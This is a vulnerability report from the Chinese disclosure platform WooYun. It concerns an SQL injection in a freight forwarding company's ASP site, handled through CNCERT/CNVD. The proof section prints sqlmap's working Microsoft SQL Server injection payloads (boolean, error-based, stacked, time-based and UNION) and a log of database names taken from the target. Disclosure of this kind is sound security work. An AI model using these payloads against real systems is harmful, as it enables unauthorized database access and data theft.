漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2016-0168188
漏洞标题：某国际货运代理公司主战sql注入漏洞
相关厂商：cncert国家互联网应急中心
漏洞作者： 路人甲
提交时间：2016-01-12 01:26
修复时间：2016-02-27 11:49
公开时间：2016-02-27 11:49
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：5
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2016-01-12： 细节已通知厂商并且等待厂商处理中
2016-01-15： 厂商已经确认，细节仅向厂商公开
2016-01-25： 细节向核心白帽子及相关领域专家公开
2016-02-04： 细节向普通白帽子公开
2016-02-14： 细节向实习白帽子公开
2016-02-27： 细节向公众公开
简要描述：
RT
详细说明：
注入点：http://**.**.**.**/linghangvip/msnol/detail.asp?id=4729
我就不一一列举
自己去看吧，我是个新手。
漏洞证明：
注入点：http://**.**.**.**/linghangvip/msnol/detail.asp?id=4729
sqlmap identified the following injection point(s) with a total of 52 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=4729 AND 5592=5592
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=4729 AND 4052=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4052=4052) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(98)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(113)+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (2418=2418) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(98)+CHAR(113))
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=4729;WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: id=4729 AND 2352=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: id=4729 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(113)+CHAR(69)+CHAR(103)+CHAR(99)+CHAR(106)+CHAR(104)+CHAR(115)+CHAR(102)+CHAR(81)+CHAR(81)+CHAR(66)+CHAR(100)+CHAR(120)+CHAR(80)+CHAR(88)+CHAR(111)+CHAR(113)+CHAR(115)+CHAR(72)+CHAR(76)+CHAR(88)+CHAR(115)+CHAR(109)+CHAR(75)+CHAR(88)+CHAR(75)+CHAR(86)+CHAR(106)+CHAR(102)+CHAR(65)+CHAR(101)+CHAR(110)+CHAR(100)+CHAR(77)+CHAR(69)+CHAR(78)+CHAR(111)+CHAR(74)+CHAR(74)+CHAR(117)+CHAR(119)+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(98)+CHAR(113),NULL,NULL,NULL-- -
---
[22:12:06] [INFO] testing Microsoft SQL Server
[22:12:07] [INFO] confirming Microsoft SQL Server
[22:12:07] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2008
[22:12:07] [INFO] fetching database names
[22:12:07] [INFO] the SQL query used returns 20 entries
[22:12:08] [INFO] retrieved: EXDB_AirSH
[22:12:08] [INFO] retrieved: EXDB_SH
[22:12:08] [INFO] retrieved: EXLOG_AirSH
[22:12:08] [INFO] retrieved: EXLOG_SH
[22:12:08] [INFO] retrieved: LHEIP_JET_NEW
[22:12:08] [INFO] retrieved: LHEIP_JET_NEW
[22:12:08] [INFO] retrieved: LingHang
[22:12:09] [INFO] retrieved: master
[22:12:09] [INFO] retrieved: model
[22:12:09] [INFO] retrieved: msdb
[22:12:09] [INFO] retrieved: SH_TEST
[22:12:09] [INFO] retrieved: SH14_air
[22:12:09] [INFO] retrieved: SH14_air
[22:12:09] [INFO] retrieved: SH150801_air
[22:12:09] [INFO] retrieved: SH150801_air
[22:12:10] [INFO] retrieved: SH150901_air
[22:12:10] [INFO] retrieved: SH150901_air
[22:12:10] [INFO] retrieved: SH1510
[22:12:10] [INFO] retrieved: SMS_DB
[22:12:10] [INFO] retrieved: tempdb
available databases [16]:
[*] EXDB_AirSH
[*] EXDB_SH
[*] EXLOG_AirSH
[*] EXLOG_SH
[*] LHEIP_JET_NEW
[*] LingHang
[*] master
[*] model
[*] msdb
[*] SH14_air
[*] SH150801_air
[*] SH150901_air
[*] SH1510
[*] SH_TEST
[*] SMS_DB
[*] tempdb
fetching current user
current user: 'ds'
Database: LHEIP_JET
[110 tables]
我就不一一列举
自己去看吧，我是个新手。
修复方案：
我不知道。
求激活码。
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2016-01-15 17:00
厂商回复：
CNVD确认并复现所述情况，已由CNVD通过网站管理方公开联系渠道向其邮件通报，由其后续提供解决方案。
最新状态：
暂无